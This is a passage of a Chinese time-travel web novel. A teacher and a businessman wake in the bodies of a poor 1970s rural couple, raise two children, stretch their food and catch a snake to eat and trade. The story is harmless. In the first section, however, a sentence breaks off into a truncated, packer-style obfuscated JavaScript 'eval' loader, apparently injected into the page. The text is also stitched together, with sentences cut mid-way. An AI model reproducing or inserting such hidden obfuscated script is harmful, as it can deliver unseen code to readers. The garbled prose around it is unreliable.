苏窈原本不打算动这地瓜干的,但因为多了一张嘴,也只能做了。 苏窈出去后,夏苗则担心她爹把弟弟摔了,所以眼也不眨地盯着。 她爹没抱过她,就是弟弟出生也就是抱过一两回,之后只要弟弟哭闹,就会很不耐烦的骂弟弟,还有她和娘。 沈靳不是没注意道小姑娘的视线,但也并未当一回事。 他看了眼怀里的孩子,叹了一口气。 一睁眼,二十年的奋斗全部没有了,这点属实让沈靳没想到。 更没想到,三十来岁没结婚,一睁眼,老婆和孩子都有了。 * 苏窈在厨房里做饭。 生了火,往锅里舀了一瓢水,番薯丁全倒了进去。同时把竹子编的蒸筛放进锅里,同时用来蒸两个营养不良的茄子。 厨房里就算是有烟囱,但也还是有很多烟,熏得苏窈眼泪直冒。 二十分钟左右,她就揭开了盖子,用两根筷子掰开软烂的茄子,晾了好一会才敢用手把碗端出来。 碗里的汤汁她倒进了另一个碗里,再刮了少许的盐进碗里等化开,淋在茄子上。 最后挑出蒸筛,番薯汤也好了。 番薯本来就有歇甜味,什么都不用放,就直接盛了起来。 均匀盛到了三个碗中,每个人五六块的番薯和半碗汤。 做好饭,她在厨房里朝外头喊:“苗丫过来。” 不一会夏苗哒哒哒地跑了过来,苏窈安排道:“把板凳搬到屋子里去,高的一会娘来搬。” 夏苗搬起矮的板凳就出去了。 苏窈把三碗番薯汤放在高板凳上头,再端着高板凳小心翼翼地出了厨房。 回到屋子,沈靳已经下床了,光着脚踩在地上。身上的衣服被刮得破破烂烂的,蹭了很多泥土,不知道的还以为是哪里来的要饭花子。 察觉到苏窈的视线,在人前光鲜亮丽了十来年的沈靳,到底还是有一点窘迫,问:“有没有多余的衣服和鞋子?” 夏苗抬头看向她爹,眼神有些疑惑。 苏窈道:“你衣服在床尾叠着呢,鞋子的话,好像有一双旧的。” 她几乎把这个家翻了个底朝天,就是菜地里的豆角有多少条都知道。 她从床底的箩筐里拿了一双草鞋出来。只是草鞋也是后头断了绳子的,顶多只能当做拖鞋穿。 苏窈跟苗丫说:“你去看一下灶台的火熄了没。” 苗丫一下子就跑了出去。 苏窈立马和沈靳说:“水缸里有水,毛巾也在衣服上,你拿上就去厨房洗。用水瓢舀水,可别把毛巾放到桶里去。” “还有,头上的伤口可别碰水。” 沈靳明白她怕那小姑娘听出点什么,所以才先把人给支走了。 她还挺谨慎的。 沈靳踩上了鞋子,点了点头。 现在只是头有点晕,身体反倒没有太大的不适。 不一会夏苗就回来了,和娘说:“熄了。” 沈靳拿了衣服出了屋子,观察了一眼破败的院子,才在一个矮小屋子外看到水缸和木桶。 不用多想,那就是厨房了。 沈靳舀了一桶水提进了窄小的厨房。 冒着热气的单灶台,灶台旁有一些禾秆和树枝,角落里有一块湿的地方,哪里应该就是洗澡的地方了。 在这夏老四的记忆中,哪管在哪里洗,夏天就是在河里游一圈,又或是在院子里冲一从。冬天就懒了,十天半个月才洗一次澡。 观察了一下,搬了门遮住了门口。 屋子那边,苏窈让苗丫等他爹一会。 母女俩在屋子里头好半晌,苗丫喊了声“娘。” 苏窈看向她:“咋了?” 苗丫说:“爹没骂人。” 苏窈眉头微动了动,睁眼说瞎话的忽悠道:“你爹摔山沟沟里给摔傻了,以后应该也不会骂人了。” 苗丫眼睛微微睁大,又问:“真的?” 苏窈点头:“应该是真的。” 毕竟这沈靳和夏老四的性子是截然不同的,让稳重的沈大佬演个二流子,还挺让他为难的。 但对外可不能这么忽悠了。 沈靳事业做得这么大,脑子不知道比她好使了多少,应该能想到理由来忽悠外头那些人的。 她嘛,当然是慢慢的改变了。 等了一会,沈靳带着一身湿气回来了。 还别说,收拾过后,更像沈靳原来的样子了。 就算穿着补丁的粗布麻衣,板寸头,可因为他挺着腰脊,眼神沉稳,反而有几分器宇不凡的感觉。 苏窈说:“吃饭吧。” 见夏禾乖乖的,她也就放在床上。 沈靳看了眼高板凳上寒酸且没多少的晚饭,然后在小板凳上坐了下来。 夏老四的身体虽然瘦,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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建厕所这事必须得赶上日程,让沈靳帮忙弄! 打定主意后,苏窈再墙角烧了艾草,阖了门来闷。慢慢地,屋子里就没什么蚊子了。就是太过闷热了,只坐了一会儿就出了汗,两个孩子也都跟火炉似的,只能开点窗户,再拿蒲扇扇凉。 一个人扇凉,三个人都能凉快。 天色越来越暗,一片蓝蒙蒙的,这个时候应该也有七点多了。 沈靳一直在外头没进来,苏窈摇着蒲扇驱赶蚊子,见俩孩子都已经睡了,她才放下扇子,放轻步子出了屋子。 沈靳依旧站在院子里头,她走到身后,小声问:“沈总在想什么?” 沈靳听到声音,转头看向她:“在想以后该怎么活。” 顿了一下,又道:“现在应该不用喊沈总了,免得露馅。” 苏窈想了想,说:“李春华喊夏老四做四哥,以后我也喊沈总做四哥?” 沈靳点了点头,道:“我喊你什么,在夏老四的记忆中,好像没什么好称呼。” 他刚才是在消化夏老四的记忆。 记忆里,夏老四对自己的老婆孩子并不好。 再说称呼,基本都不是好称呼,只有一声婆娘能喊得出口的。 苏窈抿唇又琢磨了一会:“要是叫李春华的名字,我不太习惯,还不如跟别人一样,就叫我苗丫娘。” 沈靳没什么意见应了一声“好”,随后问她:“你有什么打算?” 转头朝屋子看去:“真打算做那两个孩子的娘?” 5. 第五章 “真打算做那两个孩子的娘?” 苏窈顺着他的视线看向房门,说:“不是要不要当娘的问题,而是我很清楚,要是我不管的话,这几个月大和四岁大的两个孩子在缺衣少食的时代,活不长。” 沈靳点头:“明白了。” 她这意思是要管。 苏窈状似思考:“至于接下来什么打算……,改革开放是明年年底的事,可以做私人买卖得等到七八年,还有两年时间。” “明年就算开放高考,但李春华只去过扫盲班,就只会几个大字,要是明年我参加高考考上了,即便是个大专,估计还是会登报。” “这一登报不打紧,打紧的是上头调查下来,发现我前一年还是个大字不识几个的村妇,再天才的人也不至于一年自学成才考上大学吧,到时候还不得按特务来调查我。” 她越说越小声:“这调查特务,得把人关起来审讯,有可能还会用点非正常手段,我肯定承受不了。” 沈靳不解:“特务?” 沈靳的文凭不高,后来就算是自考了成人大学,但对很多的历史还是不够了解的。 就是夏老四的记忆里,也没太多有用的信息。 苏窈:“我教历史的,加上看小说,都知道一些。” “现在这会做买卖叫投机倒把,是犯法的。我脑子不够灵光,而且容易心虚,肯定干不了,所以我接下来还是先种地,把老夏家占着的自留地讨回来。” 说到这,怕夏老四记忆里对自留地的印象少,她又补充:“就是每家每口人可以领两分地,夏老四这一家四口有八分,都还让老夏家占着呢。” 沈靳:“这个我知道,什么时候去要?” 苏窈看了眼他额头上的伤:“先缓两天吧,沈总……”顿了一下,笑着改了口:“四哥应该不会让我自己去的对吧?” 沈靳愣了一下,点了点头。 算上这一面,他们两人好像才第二回见面吧,但她这语气为什么去格外熟稔? 她还挺自来熟的。 苏窈又问:“那你呢,接下来什么打算?会管那姐弟俩吧?” 沈靳忽然笑了笑:“你觉得我会管吗?” 苏窈不了解他,心里还是打鼓的,但还笑着说:“沈总都给学校捐了一栋教学楼,怎可能不管,是吧?” 她自己一个人拉扯俩孩子,压力肯定很大,现在有人分担了,自然得抓住机会。 沈靳却道:“很多企业家都会借慈善来换取好名声,苏老师怎会觉得我是例外?” 苏窈沉默了一下,说:“发生车祸的时候,沈总下意识地护着我,能有救人意识的人,也坏不到哪里去。” “再说了,现在……”她把声音压得更低:“你我的身体都是姐弟俩的爹妈,要是不管,以后会被人戳脊梁骨戳到死。” 沈靳也没继续和她打太极,直截了当道:“我会管。” 听到他的话,苏窈心下一松。 沈靳继续说:“你,我也会负责。” 苏窈诧异地看向他:“什么意思?” 沈靳:“毕竟是我连累你,确实该我负责。” 他转头看向她:“等到时代稳定后,你想离婚,不想离婚都行。” 苏窈倒没想那么远,可沈靳都已经说开来了,那提前商量也是好事:“行呀,就等五年后再离吧。五年后是一九八零年,大环境都变好了,遍地黄金,只要肯吃苦,我不信发不了家。” 沈靳点了头,说:“行。” 应了一声,忽然想起来了一件事,从兜里拿出一小捆钱和票,递给她:“我在夏老四的兜里找到的,你来管吧。” 看到钱和票,苏窈瞳孔一缩,又惊又喜地接到了手里来。 她翻开来看,基本上都是毛票和分票。仔细数下来竟然有五块四毛八分钱。 而且还有二市粮票和二市两肉票各两张,肥皂票和三市尺的布票各一张。 好家伙,感情夏老四真的在外头吃香喝辣的,压根就看不到家里快饿死的妻儿。 沈靳说:“这都是夏老四在县里给黑市望风挣的。” 沈靳也是从夏老四的记忆中知道,在这黑市里望风的最能捞着油水。 听到这话,苏窈惊喜被冲散了,抬起头,表情认真的与他说:“这活计你可不能继续干了。我听说过,别人投机倒把是游街示众,但看哨的是真真要坐牢的。” 沈靳点头:“他这次就是因为黑市被捣了,才回来躲祸的。在外面也没用真名,也没和别人说自己住在哪,蓬头垢面的,更没几个人能认得出来。” 夏老四混归混,确实有那么点机灵在身上的。 苏窈这才安心,想了想,她商量着道:“这个家里有多少粮食你也是知道的,我想拿这票换粮食,还有这肥皂也换了,也换点肉回来,怎么样?” 沈靳:“给到你,你就看着安排。” “好嘞!”听到他没意见,苏窈脸上笑容灿烂得不行。 沈靳也被她这情绪感染,心情轻松了一些:“就这点东西也值得你这么高兴?” 苏窈睁大双眼道:“这东西不少了,你是不知道我看到这穷得叮当,连一粒米都找不到的家,我有多崩溃。” 沈靳看着她端详了几秒:“你很开朗,看不出崩溃。” 苏窈:“我来三天了,都已经缓过来接受现实了,现状就这样,除了接受,还能咋地?” 沈靳笑了笑,虽然才见第二面,但他都出社会有二十年了,看人很准。 这苏老师是个善良开朗,很澄澈明亮的一个人。 和这么一个人相处,不需要戒备太多。 沈靳醒来到现在的戒备绷紧缓缓卸下,整个人不禁放松了下来。 苏窈看了眼天色,都已经八点多了。 这个没啥娱乐的年代,乡下差不多八九点就睡了。 苏窈试探道:“天色也不早了,要不进屋歇着了?” 沈靳挑了挑眉:“你不介意?” 他刚刚把这个家的底细摸了个透,能睡人的就一张木头床。 苏窈耸了耸肩,无所谓的道:“条件就这样了,我也不矫情了,就是不知道沈总介不介意。” 沈靳上辈子那么有钱,什么美女没见过,她现在这副模样哪里能看得上,所以她压根就不担心他会对她干些什么。 沈靳摇了摇头。 苏窈心宽道:“那就先这样,等解决温饱再解决住宿条件。” 她率先进了屋子。 屋里很黑,苏窈摸黑找到了火水灯,点燃后放到了高板凳上。 小小的一个灯芯,并没有多亮,顶多是能视物,不至于被绊倒。 她看了眼刚刚沈靳给的票和钱,虽然不是非常多,但也能暂时解决燃眉之急。因粮食愁了几天的愁绪 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她睡得迷迷糊糊的,抱着夏禾就坐了起来,正要掀开衣服的时候,床尾传来说话声“我先出去”,把她给吓了一跳,后知后觉反应过来是沈靳。 沈靳一直没睡着,床头的动静一清二楚。 他脚垂下床探了一会,碰到鞋就趿着摸黑往门口走去。 开了门,出了屋子就立即关上了。 苏窈心说还挺有礼貌的。 她见门关了,也就开始喂夏禾。 大概二十分中,这回夏禾喝得还挺满足的,喝完就睡,一声没哼。 苏窈点了火水灯去喊人:“可以进来了。” 两人很有默契,啥也没说。 睡得早,起得自然也早。 苏窈天蒙蒙亮就醒了,她一坐起来,床尾的沈靳也起来了。 苏窈抓了抓头发,绑了起来,看向床尾坐起来的人影,低声说:“你应该很晚才睡,也不用起这么早,等会我上工了,你帮看着点俩孩子就行。” 她刚穿来的那一天一宿没睡,她琢磨着沈靳应该也好不到哪里去。 苏窈出了屋子,含着清水漱口时,心想一定要买到牙刷牙膏,再不济也要弄到柳条刷牙! 她才掬水洗了一把脸,沈靳也从屋子里头出来了。 苏窈讶异道:“怎不睡了?” 沈靳应:“睡不着。” 苏窈瞅了眼他眼底的乌青,一脸的疲态,看得出来应该是一宿没睡。 一身补丁的褂衣,裤脚还是九分的,脚下趿着草鞋,带着这疲态还挺像夏老四那副吊儿郎当的模样。 苏窈递了个搪瓷碗给他:“别的没有,只有清水漱口。” 沈靳沉默接过,看着手里的搪瓷碗,感觉好像又回到了二十年前没发家的时候,甚至比那个时候还贫困。 苏窈又说:“家里没什么吃的,早上还是喝点番薯汤。” 沈靳应:“我都可以。” 舀了水进搪瓷碗,含了几下水涮了口腔,洗脸也是随意泼了几下。 苏窈往沈靳那头瞅了一眼。 她以为这沈靳富裕了这么多年,应该比她还要讲究,结果比她还要粗糙。 6. 第六章 苏窈回屋抓了一把的番薯丁,用来煮番薯汤。 罐里现在就剩下一把番薯丁和两个小鸡蛋了。 粮食虽然见底,可现在手上有点粮票,也有点小钱,就没有那么紧迫了。只是不知道什么时候能去镇上的供销社。 她熬好番薯汤,盛好放在灶台上,自己端了一碗出来,看向院子里站着不知发呆还是思考的沈靳,说:“煮好了,盛在灶台上了。” 沈靳点了头,进了厨房。 低头一看,碗里还是几块番薯和半碗水。 昨晚吃得少,他还是个成年男人,那点吃的根本不顶事,这会肯定是饿的,而眼前这点吃的,也填不饱肚子。 沈靳端着碗出了厨房。 苏窈就站在屋檐下喝着番薯汤。这番薯不糯,甜味也很淡,几乎喝不出来什么味,但起码能填肚子。 她看向走出来的沈靳,说:“我两三个小时会回来一趟,有事就让苗丫去找我,问人应该也能找得到。” 沈靳微微一挑眉,她们认识满打满算也才两天。 昨晚算刚刚交心,但这才过去一个晚上,她对待他的态度似乎随意了很多,而且也越发自然了。 沈靳猜测,可能是做人民教师的,适应能力和接受能力强,还有社交能力好的原因吧。 苏窈吃完后,洗了碗就进屋了,夏禾没醒也被她弄醒来喂了。 一回生二回熟还真没说错,羞耻归羞耻,但动作却利落了,掀开衣服闭眼就是喂。 速战速决,喂完后夏禾,小家伙也精神了。 大概是这两顿吃饱了,昨晚到现在竟然也没怎么哼唧。 刚喂完夏禾,夏苗也醒了,她坐在床上揉眼睛,双眼呆滞,整个人看起来傻乎乎的。 两个孩子这下都醒了,沈靳也先别想歇着了。 苏窈嘱咐苗丫:“等会娘上工去了,弟弟要换尿布就让你爹换,你告诉你爹是怎么换的。” 没穿越前身份的不对等,社会阅历相差了差不多有二十年,再加上沈靳的气场确实强大,苏窈当时还挺怵这位沈总的。 可穿越后,身份都差不多了,他的气场再强大,也没她几天下来饿肚子的怨气大,更没再无端端成了俩孩子的娘的怨气大。 苗丫刚醒,人还是懵的,听到娘的话,就更懵了。 苏窈:“锅里还有早饭,别爬灶台,让你爹盛。” 刚交代完,就隐约听到大队长的吆喝“上工”的声音,仔细一听还真是。 苏窈抱着夏禾出了屋子,看见沈靳跟个桩子似的,就把孩子塞到他的怀中:“锅里有苗丫的早饭,一会你帮忙盛一下,我去上工了。” 叮嘱后,就穿上长袖,戴上草帽出了门。 沈靳一早上几乎都看着她风风火火,没有半点停顿的忙碌。 再低头和怀里的孩子,大眼瞪小眼。 他带这么小的孩子还是在十几年前,现在早已经生疏了。 不一会,夏苗也从屋子里头揉着眼睛出来了,看见他,立刻低下了头。 他昨天就发现了,这丫头完全不敢和他有任何的眼神对视,或者说不敢她亲爹夏老四对视更贴切。 沈靳按照苏窈交代的,去厨房把锅里放着的番薯汤拿了出来,端进屋中放在了高板凳上,和小姑娘说:“洗了脸再来吃早饭。” 苗丫这几天听着娘的话,早上都会漱口洗脸。 含着两口水咕噜噜了一会才吐出来,然后也是掬了两捧水洗脸,洗漱好了才乖乖坐到板凳前吃早饭。 沈靳暗暗松了一口气,幸亏这俩孩子都是安静的性子,不然他也不知怎么带。 目光落在屋内破烂家具,还有苗丫身上旧得不能再旧的衣服,沈靳不由得皱了眉头。 日子最苦的时候,他也没穿过这么破的衣服。 沈靳还是第一回这么直观的感受到这个年代的贫穷。 * 苏窈跟着人群往大榕树走去。 早上乡下弥漫着淡淡的雾气,空气很清新,路两边的杂草的叶子上边还挂着露珠。 要是纯粹体验生活的话,苏窈还喜欢这种环境的,但一旦变成了真实的生活环境,她就喜欢不起来了。 除了空气外,这地都是泥地,屋子也都是土屋,她就没看到有哪家是青砖瓦房的。 就算有,也是以前的地主留下的。但打地主最狠那会到现在,这会也荒破了。 大队里的婶子见到苏窈,都凑上前问:“苗丫娘,你身体好些了没?” 也有人问:“听说昨天你家老四也被人抬回来,现在咋了。” 有的人带着几分关心,当然,苏窈听得出来,大部分人都还是八卦的。 她低着头含含糊糊的应付:“都好很多了。” “那你家老四醒了没,昨天被抬回来那会可伤得不轻,脑袋还缠了一大块纱布,可别摔坏脑子了。” “昨天就醒了,没摔坏。”她应。 “夏老四这回摔了,大难不死必有后福,这次就当是个教训,希望他能长进些,别再浑下去了。” 也不知道谁说了这么一句,别的也开始附和。 大队里的人对夏老四有意见,但可能是李春华太惨了,除了老夏家也没几个人会特意针对她。 不一会走到了榕树根下。 榕树根下站了好些人,大家伙连日下田弯腰插秧,就没几个精神抖擞的。 果然精神好面貌还得看时候,大概要等到收粮的时候,才能看到人人满面红光。 大队长看到了来上工的李春华,也顺口问了一嘴夏老四的事,听说醒了,也就没多问。 等安排活计,大队长顾及李春华的身体,就安排她和一群半大不小的孩子去打猪草。 也没人羡慕苏窈能偷懒,毕竟这活计虽然轻松,但工分少呀。满满一大筐猪草撑死也只有四个工分。 这队里拢共也就五头猪,三筐也就够一天的量了。 猪草是有定量的,公分少,这活一般没人抢,都是老人和孩子的活。 虽然工分少,但苏窈还是松了一口气,这么多年没干过农活了,也是需要一个适应过程的。 大队长安排好了活,一大批人一哄而散,该干嘛干嘛。 苏窈从生产队的工具仓库领了背篓,还有这会没什么人用的镰刀,跟着两个八九岁的丫头一起出发了。 现在大队里只有一小部分孩子去上了小学,还是有很多孩子没去的。 和她一起打猪草的两个丫头就是早早帮家里的忙。 这俩丫头是堂姐妹,感情倒是很好,手牵着手走在前头 苏窈想了一下她们的名字,才问:“杏子,梅子,咱们现在去 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苏窈背着沉甸甸的背篓就往仓库而去,还在路上掐了一小把白花菜,打算晚上打蛋花汤喝。 苏窈能认一些野菜,还得亏是念书的时候,每年暑假都会回老家一趟,跟着堂姐堂妹到一些小山坡撒野,堂姐妹们告诉她的。 再说把猪草背到了仓库。 看仓库的是个退伍的瘸腿抗日老兵,叫老东头,他会帮忙看称量,等记分员回来再告诉有多少工分。 苏窈到了仓库前,把两把野菜拿从中了出来。 老东头看了眼,并没说什么,直接翻了翻背篓的猪草。 “三个工分。” 男人满工分是十工分,女人满工分是八工分,这十工分是两毛钱。三个工分,换成钱也就是6分钱。 工分还挺少,但好处在于能偷懒,干完活就能回家了。 她还想要工分的话,下午也可以继续去上工。 可这会夏禾估计也饿得嗷嗷哭了,苏窈拿着两把野菜就飞奔回去。 果不其然,还没进门呢,就听见夏禾放开喉咙的哭声。 这两顿吃饱了,小家伙连哭声都洪亮了不少。 苏窈推开门,看到院子里摆了一堆的茅草,愣了一下后,也没仔细琢磨干什么用的,沈靳就抱着哭嚎着的夏禾出来了,身后还紧紧地跟着个小夏苗。 沈靳一头汗水,几个跨步走到了苏窈跟前,好像扔烫手山芋似的把夏禾塞到了她的怀里:“哭了好一会了,没尿,也哄不好,大概是饿了。” 夏禾一到苏窈的怀里,就使劲往她的胸口拱,把苏窈闹了个大红脸。 红着脸,却佯装镇定的说:“我先进屋了。” 说着,把手里的野菜递给了沈靳,待他接过就快步进了屋子。 沈靳听到“哐当”的一声,看着门关上,松了一口气。 低头瞧了眼手里的东西,才发现是野菜。 沈靳盯着野菜沉默了许久,才把野菜放到水缸盖上,和守在房门外的夏苗说:“我再出去一趟,你娘问起,就说我很快回来。” 沈靳交代完,就拿着柴刀就出了门。 7. 第七章 苏窈喂了夏禾,整理好衣服才抱着他出屋子。 没见着沈靳,问门外的夏苗:“苗丫你爹呢?” 夏苗怔怔地望着院子的门,说:“拿刀出去了。” 这话听得人忐忑,要不是她知道现在是夏老四的躯体,芯子是沈靳的,她准被吓一跳。 她转头打量少了什么刀,一眼瞧去,放在厨房外头的柴刀不见了。 沈靳这是去砍柴了? 苏窈也没太在意,收回思绪,看向堆在院子里的茅草时,发现院子的晾衣竿上除了她和夏苗,夏禾的衣服外,还晾了沈靳昨天换下来的那身破烂衣服。 昨天她和夏苗洗得早,所以早早就洗了衣服,也没想起来沈靳换下来的。 而且就以他们现在的关系,互帮洗衣服肯定会很尴尬,好在沈靳避开了这尴尬。 晾衣杆上还有晾得齐整的两块滴着水的尿布,一看就是沈靳洗的。 这个穿越搭子虽然穿越前是个老板,可一点架子都没有,还是个眼里有活的,苏窈非常的满意。 苏窈在心里把沈靳赞叹了一遍,就准备放下夏禾去做饭。 但一想到屋子里闷,也怕夏禾忽然间会翻身了。琢磨了一会后,拿了件衣服铺在洗澡的木盆里,再把小家伙放进了盆中。 小家伙个头很小,完完全全可以躺在木盆里。 木盆就放在屋檐下荫蔽的地方,还有点凉风吹来,比闷在屋子里好多了。 苏窈摸了摸夏苗的头,说:“别瞅了,你爹就是去砍柴了。” 夏苗听到这话,眼睛反而瞪得更大了,那表情好像在说——爹那么懒的一个人,怎么可能去砍树?! 苏窈解释:“你爹他这里大概摔伤了。”她指了指脑袋的地方,又说:“所以以后可能会和以前不一样。” 夏苗眨了眨眼,问:“真的吗?” 苏窈笑了笑:“娘也不敢打包票,先看看。” 夏苗顿时地垮了脸。 爹昨晚到今天没打娘和她,更没有骂人。要是爹的脑子真的摔坏了,天天都像今天这样,那就太好了。 多说错多,苏窈打住了小姑娘她爹的话题,安排道:“你看着弟弟,娘现在去做午饭。” 夏苗应了声“好”,就真的蹲在了木盆边看着她弟弟。 夏苗虽然也就四五岁,却很坐得住,安排她做的事都会好好地完成。 苏窈转身把水缸上的野菜拿了下来,打算做凉拌马齿苋。 凉拌野草没别的佐料会涩口,而家里没有别的调味料,也只能用酸的青番茄和灯笼椒来拌。 酸味辣味都有了,应该能减少一点野菜的涩味,也不至于难吃得难以下咽。 烧水沸腾就把菜放到锅里烫。烫了大概一到两分钟,捞起放到碗中。 刮了一小勺盐,再把番茄切丁放进去拌,拌好后分了小半碗给夏苗。 也不知沈靳能不能吃辣,她琢磨着一点点辣应该是没问题,也就放了三个灯笼椒来拌剩下的大半碗野菜。 话说屋子后头走一百来米就是山坡,那里就有柴火,沈靳应该很快就能回来。可出去都快半个小时了,怎么还没见人回来? 心里才念叨着,她就听到院子外头传来开门声,随后是沈靳的喊声:“苗丫娘。” 苏窈听到这声“苗丫娘”蓦地打了个激灵。 第一回听到沈靳这么喊,就像是这几天听到苗丫喊她“娘”时一样,感觉鸡皮疙瘩都起来了。 她把拌菜的筷子放了下来,应:“来了。” 出了厨房,就看到沈靳左手拿着柴刀,右手提着一捆茅草,关上院门转身朝她看来。 苏窈好奇的问道:“要这么多茅草做什么?” 沈靳应:“补屋顶。” 苏窈想到那四处漏光的屋顶,忽然感叹沈靳的行动能力就是强,他不发家谁发家? 同时也觉得有个男人帮衬着做活还挺好的。 沈靳:“我带了点东西回来,你先把俩孩子带回屋再出来。” 苏窈眨了眨眼,他带了什么东西,还得避着孩子才拿出来? 琢磨了一下,觉得肯定是好东西,他是怕夏苗说出去,才让孩子先进屋的。 这么一想,顿时积极得不行,抱起夏禾就和夏苗说:“和娘进屋。” 夏苗看了眼她爹,才跟在娘的身后进了屋。 苏窈把夏禾放到床上,嘱咐夏苗:“看着弟弟,别让他从床上翻下床。” 嘱咐后,就迫不及待地出了屋子,把门关上。 她转身就看到沈靳背对她,把茅草放到地上翻动着,好像在找什么。 她走到他身旁,当看到茅草中黄黑花纹的软趴趴一大条,她蓦地往后一跳,瞪大眼惊恐得还后退了好几步。 苏窈白着脸,颤抖着声音说:“你应该让我也进屋的,感情只担心小孩子被吓到,我就不怕呀……” 沈靳愣了一下,看了眼她被吓白了的脸,说:“菜花蛇,没毒的。” 苏窈倒抽了一口气:“这是有毒没毒的事吗?” “是我怕蛇呀,还这么大一条呢!或者说没几个人是不怕蛇的,不管是毒蛇还是没毒的蛇。” 再暼了一眼草里的蛇,吓得连忙闭上了眼。 这太大了,大概有夏苗手臂那么粗。 沈靳默了一下,问:“那还吃吗?” 苏窈沉默了片刻,应得掷地有声:“吃!” 那可是肉,能不吃吗? 沈靳:“……” “那你进屋吧,我来杀。” 苏窈得了他的话,毫不犹豫地转身就往屋子里边跑,但跑到门口又停了下来,背对着院子问:“蛇大吗?” 沈靳应:“差不多有三斤。” 菜花蛇体格相对其他蛇来说,长得比较快。 苏窈思索了几秒,说:“那你大概留一斤左右的量,晚点我拿去大队长家换点粮食和盐回来。到时问起,我就说这菜花蛇爬进了院子,你给杀的,也好避免别人拿来说事。” 这个时候山里的东西是公家的,平时大家伙采点山货也没人说事。 但这要是肉,就该有人拿这话茬来逼他们分了。 沈靳应了声“好”,又问:“生的还是熟的?” 苏窈:“天气这么热,不焯水容易坏,除了换粮的,都过一遍水吧。” 她听到沈靳应了声“行”就立马进屋了。 回了屋,夏苗站在床边,睁着一双大眼巴巴看着她。 她似乎听到了刚外头说话的声音,张口就问:“娘,我们要吃蛇肉吗?” 苏窈一愣:“你不怕?” 夏苗点头:“ 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蛇头在坡上已经被他砍掉埋土里,现在只需要剥皮切段就好。 处理好蛇皮和内脏,都好好地放到了一边,打算一会再处理。 这些东西都是可以入药的,留着也可以用来换钱换点生活用品。 这个家实在太穷了,沈靳不得不恢复年轻时的精打细算,一块钱去掰成两块钱用的时候。 在夏老四的记忆中,这个时代抵制中医,这些东西虽然没地收,但也是有不少人找这些东西。 黑市就经常出现这些东西,而且还很是紧俏。 蛇肉处理好,冲了一下水就手起刀落砍成了一段段。 按照苏窈所说的,砍了两段大概一斤左右的量,其他的则砍成三四厘米长。 砍好段都放在竹编簸箕里。 就着灶眼里的火星,拿着竹筒往灶眼里吹,重新燃起了火烧水。 沈靳大概有十几年没用过这样的土灶了,但记忆依旧在,用得还算顺畅。 水沸腾,沈靳把送去换粮的蛇肉拨到一边,剩下的都放进焯水。 一分钟后捞起放回簸箕中,倒了水,重新再烧水,放了三分一的肉进锅里炖。 天气热,肉不禁放,顶多能放到明天都是好的,也就不必太省。 炖蛇肉没姜葱蒜去腥,看到了白花菜和灶台上剩下的两个灯笼椒。 这两样也能勉强凑合。 他把两个灯笼椒整个扔进锅中,再盖上锅盖,等差不多熟了,再把白花菜也放进去一起炖。 沈靳从厨房出来,就见苏窈抱着夏禾和夏苗站在屋檐下,两双眼睛朝着厨房望眼欲穿。 沈靳和她们说:“可能要炖上半个多小时。” 苏窈:“那我趁着还没到下工的时间,就先把肉送到大队长家。” 她抱着夏禾去拿了个篮子,递给沈靳:“把肉放到里边,再用刚剩下的马齿苋盖住。” 苏窈留了一半马齿苋打算晚上吃的,这会刚好派上用场。 遮住也稳妥一点,避免不必要的麻烦。 8. 第八章 沈靳接了篮子,再从菜地摘了几片茄子的叶子,用水冲了冲就放在篮子底下垫底。 蛇肉放在上头,再用野菜遮住。 当篮子递到苏窈的眼前时,她伸着踌躇好半天都没接。 沈靳也很无奈:“用刀砍过,用水煮过,死得不能再死了。” 苏窈瞄了眼篮子,才直着手臂伸出两根手指勾住篮子的提手,篮子离得老远。 沈靳看她一副不敢拿又要拿反应,反倒好奇一会吃蛇肉的时候,她会不会也是这么一副不敢吃又要吃的反应。 苏窈把菜篮子拿得远远的,同时也把夏苗带出门了。 万一她实在忍不住了,还能让夏苗帮忙提一下。 要不是沈靳送过去不符合夏老四的作风,苏窈还真想让他提去换粮。 出了门,苏窈就凭着记忆朝大队长家里走去。一路上大概是慢慢适应了,也不想太怪异,还是带着丝丝畏惧把篮子挎到了手腕上。 生产队的屋子紧挨着,离农田有一定距离,苏窈走小路,也不用经过农田。 路上遇上几个人,苏窈也就演着李春华不爱和别人说话的模样,低着头走了过去。 有人好奇地看了眼她的篮子,见是野菜也就移开了视线。 苏窈才刚到大队长家,下工的声音就响了起来,时间掐得刚刚好。 苏窈敲了大队长家的门。 开门的是个十五六岁的姑娘,皮肤是很正常的颜色,长得也挺清秀的,穿着很少补丁的红格子短袖衬衫,扎着两条黑亮麻花辫的,眼睛水亮水亮的。 苏窈认得出来是大队长家的闺女夏传芳。 夏传芳见着是在生产队里没什么存在感的李春华,愣了一下,问:“嫂子有事?” 苏窈道:“我找玉兰婶子。” 夏传芳:“我娘还没回来呢,你有什么事找她?” 她低头看了眼菜篮子,见着是野菜,微微皱眉。 她娘好说话,生产队里的一些社员,还有知青,都爱拿些东西送来托她娘帮忙,让爹安排较轻松又能挣工分的活计。 苏窈把野草剥开,露出了蛇肉,说:“家里进了这东西,被你四叔逮到了,家里刚好没粮食了,想来大队长家里换点粮。” 夏传芳看到了肉,一愣。反应过来她不是来托她娘办事的,面色才好一点。 她腾了地,说:“刚下工,我娘一会儿就回来,你进来等吧。” 苏窈“诶”了一声,就拉着夏苗进了大队长家。 大队长家里有两儿两女加上一个十六七岁侄子。虽然也是夯土屋,院子却很大,好几间屋子都是砖瓦屋顶。 大概过了十分钟,外头传来说话的声音,院门被推开,走在前头的兄弟俩看到院子里的人都相继愣了一下,随后才一块喊了声“嫂子。” 声音才落,紧跟着就响起了玉兰婶子的声音:“嫂子?哪个嫂子来家了?” 她进了家门,才发现是苗丫她娘。 “苗丫她娘,咋忽然来了?” 苏窈又复述了一遍刚说过的话:“家里进了条菜花,给四哥逮到了,就切了些,想来问问婶子家有没有余粮给我换一点,家里快没粮了。” 听到是菜花,大队长家兄弟都亮了一下,老大问:“肥不肥?” 苏窈把篮子往前递给他们看。 大队长家的老大一看,惊讶道:“呀,还挺肥的,看着粗细,得有几斤吧?” 平时不是农忙的时候,喊上生产队里边同龄的哥们,夜里去捕青蛙和蛇。 当然这蛇也不是那么好捕的,可能去个好几晚才能捕到一条。 玉兰婶也看了眼,问:“没吓着孩子吧?” 苏窈:“当时我和孩子们都在屋子里呢,没给吓着。” 